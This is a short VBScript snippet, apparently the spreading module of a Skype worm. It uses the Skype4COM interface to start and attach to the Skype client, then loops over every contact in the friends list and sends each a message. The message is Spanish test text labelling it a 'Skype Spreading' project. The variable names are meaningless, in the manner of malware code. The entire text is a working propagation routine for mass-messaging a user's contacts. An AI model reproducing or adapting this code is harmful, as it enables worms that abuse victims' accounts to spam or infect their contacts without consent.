Set Fruxr = WScript.CreateObject("Skype4COM.Skype", "Skype_")
            Fruxr.Client.Start()
            Fruxr.Attach()

For Each KZN In Fruxr.Friends
Fruxr.SendMessage KZN.handle, "Este es un mensaje de prueba de un proyecto de Skype Spreading. Ignorar este mensaje"


Next